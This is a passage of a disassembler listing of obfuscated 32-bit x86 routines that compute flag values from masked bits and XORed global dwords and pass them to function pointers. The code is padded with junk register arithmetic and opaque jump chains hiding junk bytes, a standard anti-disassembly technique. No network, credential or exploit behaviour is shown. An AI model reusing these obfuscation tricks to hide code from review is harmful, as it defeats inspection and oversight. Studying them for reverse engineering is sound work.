		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D98
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1E00h
		pop	ebx
		jo	short loc_49E052
		jl	short loc_49E050


loc_49E04D:				; CODE XREF: sub_49E01E:loc_49E050j
					; sub_49E01E:loc_49E052j
		jmp	short loc_49E054
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49E050:				; CODE XREF: sub_49E01E+2Dj
		jz	short loc_49E04D


loc_49E052:				; CODE XREF: sub_49E01E+2Bj
		jmp	short loc_49E04D
; ---------------------------------------------------------------------------


loc_49E054:				; CODE XREF: sub_49E01E:loc_49E04Dj
		sub	bh, 4
		inc	bh
		dec	bh
		dec	bh
		push	eax
		dec	bh
		dec	bh
		inc	bh
		dec	bh
		jo	short loc_49E06F
		jl	short loc_49E06D


loc_49E06A:				; CODE XREF: sub_49E01E:loc_49E06Dj
					; sub_49E01E:loc_49E06Fj
		jmp	short loc_49E071
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49E06D:				; CODE XREF: sub_49E01E+4Aj
		jz	short loc_49E06A


loc_49E06F:				; CODE XREF: sub_49E01E+48j
		jmp	short loc_49E06A
; ---------------------------------------------------------------------------


loc_49E071:				; CODE XREF: sub_49E01E:loc_49E06Aj
		and	eax, 40h
		dec	bh
		sub	bh, 12h
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 12h
		dec	dl
		sub	dl, 1
		dec	dl
		sub	dl, 7
		dec	dl
		dec	dl
		inc	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C8
		xor	ecx, dword_4ED3CC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E0C8
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E0C8:				; CODE XREF: sub_49E01E+9Fj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D20
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E01E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E0DC	proc near		; DATA XREF: sub_4965D8+1009o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 6
		dec	dh
		jo	short loc_49E106
		jl	short loc_49E104


loc_49E101:				; CODE XREF: sub_49E0DC:loc_49E104j
					; sub_49E0DC:loc_49E106j
		jmp	short loc_49E108
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49E104:				; CODE XREF: sub_49E0DC+23j
		jz	short loc_49E101


loc_49E106:				; CODE XREF: sub_49E0DC+21j
		jmp	short loc_49E101
; ---------------------------------------------------------------------------


loc_49E108:				; CODE XREF: sub_49E0DC:loc_49E101j
		sub	dh, 2
		push	eax
		mov	eax, 800h
		bswap	eax
		not	eax
		pop	eax
		sub	dh, 3
		and	ah, dh
		mov	dl, 4
		dec	dl
		sub	dl, 2
		dec	dl
		sub	dl, 0FFh
		and	al, dl
		not	ah
		bswap	eax
		bswap	eax
		not	ah
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3BC
		xor	ecx, dword_4ED3C0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E15A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E15A:				; CODE XREF: sub_49E0DC+73j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D14
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E0DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E16E	proc near		; DATA XREF: sub_4965D8+42Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 38h
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 87h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		and	eax, 0
		dec	bl
		dec	bl
		sub	bl, 10h
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		inc	eax
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		mov	eax, eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E20B
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E20B:				; CODE XREF: sub_49E16E+92j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E16E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E21F	proc near		; DATA XREF: sub_4965D8+1130o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	100h
		pop	ebx
		dec	bh
		jo	short loc_49E255
		jl	short loc_49E253


loc_49E250:				; CODE XREF: sub_49E21F:loc_49E253j
					; sub_49E21F:loc_49E255j
		jmp	short loc_49E257
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_49E253:				; CODE XREF: sub_49E21F+2Fj
		jz	short loc_49E250


loc_49E255:				; CODE XREF: sub_49E21F+2Dj
		jmp	short loc_49E250
; ---------------------------------------------------------------------------


loc_49E257:				; CODE XREF: sub_49E21F:loc_49E250j
		add	bh, 0FFh
		add	bh, 0FFh
		add	bh, 0FFh
		add	bh, 0FFh
		inc	bh
		inc	bh
		inc	bh
		inc	bh
		and	ah, bh
		jo	short loc_49E276
		jl	short loc_49E274


loc_49E271:				; CODE XREF: sub_49E21F:loc_49E274j
					; sub_49E21F:loc_49E276j
		jmp	short loc_49E278
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49E274:				; CODE XREF: sub_49E21F+50j
		jz	short loc_49E271


loc_49E276:				; CODE XREF: sub_49E21F+4Ej
		jmp	short loc_49E271
; ---------------------------------------------------------------------------


loc_49E278:				; CODE XREF: sub_49E21F:loc_49E271j
		mov	bl, 14h
		dec	bl
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 3
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49E2A1
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49E2A7
; ---------------------------------------------------------------------------


loc_49E2A1:				; CODE XREF: sub_49E21F+78j
		not	eax
		add	eax, 1
		clc


loc_49E2A7:				; CODE XREF: sub_49E21F+80j
		sbb	eax, eax
		neg	eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E2D0
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E2D0:				; CODE XREF: sub_49E21F+A6j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E21F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E2E4	proc near		; DATA XREF: sub_4965D8+1240o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Ch
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		and	eax, 0
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	eax
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D0
		xor	ecx, dword_4ED3D4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E365
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E365:				; CODE XREF: sub_49E2E4+76j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D28
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E2E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E379	proc near		; DATA XREF: sub_4965D8+140o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		xor	bh, 4
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 9
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0F00h
		sub	dh, 1
		dec	dh
		dec	dh
		sub	dh, 4
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	al, cl
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E422
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E422:				; CODE XREF: sub_49E379+9Ej
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E379	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E436	proc near		; DATA XREF: sub_4965D8+1477o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DAC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49E45B
		jl	short loc_49E459


loc_49E456:				; CODE XREF: sub_49E436:loc_49E459j
					; sub_49E436:loc_49E45Bj
		jmp	short loc_49E45D
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49E459:				; CODE XREF: sub_49E436+1Ej
		jz	short loc_49E456


loc_49E45B:				; CODE XREF: sub_49E436+1Cj
		jmp	short loc_49E456
; ---------------------------------------------------------------------------


loc_49E45D:				; CODE XREF: sub_49E436:loc_49E456j
		push	edx
		mov	dh, 2
		jo	short loc_49E469
		jl	short loc_49E467


loc_49E464:				; CODE XREF: sub_49E436:loc_49E467j
					; sub_49E436:loc_49E469j
		jmp	short loc_49E46B
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49E467:				; CODE XREF: sub_49E436+2Cj
		jz	short loc_49E464


loc_49E469:				; CODE XREF: sub_49E436+2Aj
		jmp	short loc_49E464
; ---------------------------------------------------------------------------


loc_49E46B:				; CODE XREF: sub_49E436:loc_49E464j
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 3
		sub	dl, 2
		inc	dl
		dec	dl
		inc	dl
		dec	dl
		inc	dl
		dec	dl
		inc	dl
		dec	dl
		and	al, dl
		not	ah
		not	ah
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3DC
		xor	ecx, dword_4ED3E0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E4B5
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E4B5:				; CODE XREF: sub_49E436+74j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E436	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E4C9	proc near		; DATA XREF: sub_4965D8+E71o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DDC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	800h
		pop	ecx
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		inc	esi
		dec	ch
		and	ah, ch
		mov	cl, 0Fh
		dec	dl
		sub	cl, 3
		dec	cl
		sub	cl, 1
		dec	cl
		dec	edi
		dec	cl
		dec	cl
		inc	esi
		dec	cl
		sub	cl, 1
		dec	cl
		and	al, cl
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_49E52D
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49E533
; ---------------------------------------------------------------------------


loc_49E52D:				; CODE XREF: sub_49E4C9+5Aj
		not	eax
		add	eax, 1
		clc


loc_49E533:				; CODE XREF: sub_49E4C9+62j
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED40C
		xor	ecx, dword_4ED410
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E55A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E55A:				; CODE XREF: sub_49E4C9+86j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D64
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E4C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E56E	proc near		; DATA XREF: sub_4965D8+1257o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jnz	loc_49E6C9
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49E652
		jl	short loc_49E650


loc_49E64B:				; CODE XREF: sub_49E56E:loc_49E650j
					; sub_49E56E:loc_49E652j
		jmp	short loc_49E654
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49E650:				; CODE XREF: sub_49E56E+DBj
		jz	short loc_49E64B


loc_49E652:				; CODE XREF: sub_49E56E+D9j
		jmp	short loc_49E64B
; ---------------------------------------------------------------------------


loc_49E654:				; CODE XREF: sub_49E56E:loc_49E64Bj
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		jo	short loc_49E667
		jl	short loc_49E665


loc_49E662:				; CODE XREF: sub_49E56E:loc_49E665j
					; sub_49E56E:loc_49E667j
		jmp	short loc_49E669
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49E665:				; CODE XREF: sub_49E56E+F2j
		jz	short loc_49E662


loc_49E667:				; CODE XREF: sub_49E56E+F0j
		jmp	short loc_49E662
; ---------------------------------------------------------------------------


loc_49E669:				; CODE XREF: sub_49E56E:loc_49E662j
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49E69D
		jl	short loc_49E69B


loc_49E696:				; CODE XREF: sub_49E56E:loc_49E69Bj
					; sub_49E56E:loc_49E69Dj
		jmp	short loc_49E69F
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49E69B:				; CODE XREF: sub_49E56E+126j
		jz	short loc_49E696


loc_49E69D:				; CODE XREF: sub_49E56E+124j
		jmp	short loc_49E696
; ---------------------------------------------------------------------------


loc_49E69F:				; CODE XREF: sub_49E56E:loc_49E696j
		inc	eax
		dec	eax
		jo	short loc_49E6AC
		jl	short loc_49E6AA


loc_49E6A5:				; CODE XREF: sub_49E56E:loc_49E6AAj
					; sub_49E56E:loc_49E6ACj
		jmp	short loc_49E6AE
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49E6AA:				; CODE XREF: sub_49E56E+135j
		jz	short loc_49E6A5


loc_49E6AC:				; CODE XREF: sub_49E56E+133j
		jmp	short loc_49E6A5
; ---------------------------------------------------------------------------


loc_49E6AE:				; CODE XREF: sub_49E56E:loc_49E6A5j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49E6BB
		jl	short loc_49E6B9


loc_49E6B6:				; CODE XREF: sub_49E56E:loc_49E6B9j
					; sub_49E56E:loc_49E6BBj
		jmp	short loc_49E6BD
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49E6B9:				; CODE XREF: sub_49E56E+146j
		jz	short loc_49E6B6


loc_49E6BB:				; CODE XREF: sub_49E56E+144j
		jmp	short loc_49E6B6
; ---------------------------------------------------------------------------


loc_49E6BD:				; CODE XREF: sub_49E56E:loc_49E6B6j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49E6C9
		and	eax, 0
		inc	eax
		jmp	short loc_49E6CC
; ---------------------------------------------------------------------------


loc_49E6C9:				; CODE XREF: sub_49E56E+6Dj
					; sub_49E56E+153j
		and	eax, 0


loc_49E6CC:				; CODE XREF: sub_49E56E+159j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F8
		xor	ecx, dword_4ED3FC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E6EF
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E6EF:				; CODE XREF: sub_49E56E+176j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D50
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E56E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E703	proc near		; DATA XREF: sub_4965D8+EB5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 0BDh
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		sub	cl, 3
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		inc	cl
		inc	cl
		inc	cl
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E7CE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E7CE:				; CODE XREF: sub_49E703+C0j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E703	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E7E2	proc near		; DATA XREF: sub_4965D8+CF0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D9C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 80h
		xchg	eax, ecx
		mov	ecx, 1
		xchg	eax, ecx
		not	eax
		and	eax, 41h
		pop	eax
		not	ecx
		pop	ecx
		push	edx
		mov	dh, 18h
		dec	dh
		dec	dh
		not	ecx
		dec	dh
		dec	dh
		dec	dh
		dec	dh
		bswap	eax
		dec	dh
		dec	dh
		sub	dh, 0Dh
		dec	dh
		dec	dh
		dec	dh
		bswap	eax
		jo	short loc_49E846
		jl	short loc_49E844


loc_49E841:				; CODE XREF: sub_49E7E2:loc_49E844j
					; sub_49E7E2:loc_49E846j
		jmp	short loc_49E848
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49E844:				; CODE XREF: sub_49E7E2+5Dj
		jz	short loc_49E841


loc_49E846:				; CODE XREF: sub_49E7E2+5Bj
		jmp	short loc_49E841
; ---------------------------------------------------------------------------


loc_49E848:				; CODE XREF: sub_49E7E2:loc_49E841j
		and	ah, dh
		mov	dl, 9
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		add	dl, 4
		sub	dl, 3
		dec	dl
		jo	short loc_49E86D
		jl	short loc_49E86B


loc_49E868:				; CODE XREF: sub_49E7E2:loc_49E86Bj
					; sub_49E7E2:loc_49E86Dj
		jmp	short loc_49E86F
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49E86B:				; CODE XREF: sub_49E7E2+84j
		jz	short loc_49E868


loc_49E86D:				; CODE XREF: sub_49E7E2+82j
		jmp	short loc_49E868
; ---------------------------------------------------------------------------


loc_49E86F:				; CODE XREF: sub_49E7E2:loc_49E868j
		and	al, dl
		jo	short loc_49E87A
		jl	short loc_49E878


loc_49E875:				; CODE XREF: sub_49E7E2:loc_49E878j
					; sub_49E7E2:loc_49E87Aj
		jmp	short loc_49E87C
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49E878:				; CODE XREF: sub_49E7E2+91j
		jz	short loc_49E875


loc_49E87A:				; CODE XREF: sub_49E7E2+8Fj
		jmp	short loc_49E875
; ---------------------------------------------------------------------------


loc_49E87C:				; CODE XREF: sub_49E7E2:loc_49E875j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3CC
		xor	ecx, dword_4ED3D0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E89F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E89F:				; CODE XREF: sub_49E7E2+B2j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D24
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49E7E2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E8B3	proc near		; DATA XREF: sub_4965D8+64Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D8C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	3
		pop	ebx
		dec	bl
		dec	bl
		dec	bl
		and	al, bl
		mov	dh, 0Fh
		and	dl, 0
		sub	dh, 5
		dec	dh
		sub	dh, 1
		and	ah, dh
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49E90D
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49E913
; ---------------------------------------------------------------------------
		jo	short loc_49E90B
		jl	short loc_49E909


loc_49E904:				; CODE XREF: sub_49E8B3:loc_49E909j
					; sub_49E8B3:loc_49E90Bj
		jmp	short loc_49E90D
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49E909:				; CODE XREF: sub_49E8B3+4Fj
		jz	short loc_49E904


